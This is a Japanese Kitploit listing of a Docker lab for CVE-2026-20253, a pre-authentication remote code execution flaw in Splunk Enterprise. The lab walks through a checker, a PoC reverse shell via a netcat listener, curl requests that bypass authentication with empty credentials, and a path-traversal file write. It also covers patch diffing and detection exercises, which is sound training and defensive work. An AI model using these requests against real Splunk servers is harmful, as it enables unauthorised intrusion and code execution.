Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20253 — Splunk EnterpriseのPostgreSQLサイドカーサービスを介した認証前RCEであるCVE-2026-20253のPoCエクスプロイトとチェッカーを含むDockerラボ環境。 | Kitploit
ツール/GitHubGitHub/ivanesk315/cve-2026-20253
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングラボと実践
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Splunk EnterpriseのPostgreSQLサイドカーサービスを介した認証前RCEであるCVE-2026-20253のPoCエクスプロイトとチェッカーを含むDockerラボ環境。

リポジトリを見る
221ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-20253 ラボ環境

PostgreSQL サイドカーサービスを経由した Splunk Enterprise の認証前 RCE

CVECVE-2026-20253
CVSS9.8 (Critical)
Type認証不要のリモートコード実行
CWECWE-306: 重要な機能に対する認証の欠如
ProductSplunk Enterprise 10.0.x / 10.2.x

免責事項: このラボは、許可されたセキュリティ研究、教育、およびペネトレーションテストのみを目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。


ラボ構成

┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

前提条件

  • Docker & Docker Compose
  • Git
  • 8GB 以上の RAM (Splunk は大量のメモリを必要とします)
  • インターネットアクセス (Docker イメージの取得用)

クイックスタート

1. 脆弱なラボの起動

# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Splunk が実行中であることの確認

  • ブラウザで開く: http://localhost:8000
  • ログイン: admin / ChangeMeNow!

3. 脆弱性チェッカーの実行

# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. PoC エクスプロイトの実行

# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (任意) 比較用にパッチ適用版を起動

docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

ラボ演習

演習 1: 偵察と脆弱性の特定

目標: PostgreSQL サイドカーのエンドポイントを特定し、認証バイパスを検証する。

# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

設問:

  • どのような HTTP ステータスコードが観察されますか?
  • Authorization: Basic Og== は何にデコードされますか?
  • なぜ 400 レスポンスが (401 ではなく) 脆弱性を示すのですか?

演習 2: ファイル書き込みプリミティブ

目標: Splunk サーバー上で任意のファイル作成を実証する。

# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

演習 3: 完全な RCE チェーン

目標: Splunk サーバー上でコード実行を達成する。

  1. 攻撃者マシンで netcat リスナーを起動する
  2. --rce フラグを付けて PoC エクスプロイトを実行する
  3. リバースシェル接続を確認する
  4. シェルが持つ権限を調査する (whoami、id、ls /opt/splunk/etc/)

演習 4: パッチ差分分析

目標: 脆弱版とパッチ適用版の間で何が変更されたかを理解する。

# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

演習 5: 検知エンジニアリング

目標: この脆弱性に対する検知ルールを作成する。

  1. 脆弱なインスタンスで Splunk の内部ログを有効にする
  2. エクスプロイトを実行する
  3. index=_internal で攻撃の痕跡を検索する
  4. SPL 検知クエリを作成する (report/ANALYSIS.md のセクション 6 を参照)
  5. エクスプロイトに対して検知をテストする

ファイル構成

CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

デバッグのヒント

Splunk コンテナが起動しない

docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

PostgreSQL サイドカーが実行中であることの確認

docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Splunk 内部ログの調査

docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

対象のモジュラー入力スクリプトの確認

docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

分析用のネットワークトラフィックキャプチャ

docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

クリーンアップ

# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

参考資料

  • Full Root Cause Analysis
  • Splunk Advisory SVD-2026-0610
  • WatchTowr Labs Analysis & PoC
  • CISA KEV Catalog
  • Picus Security Technical Writeup
ツールをダウンロード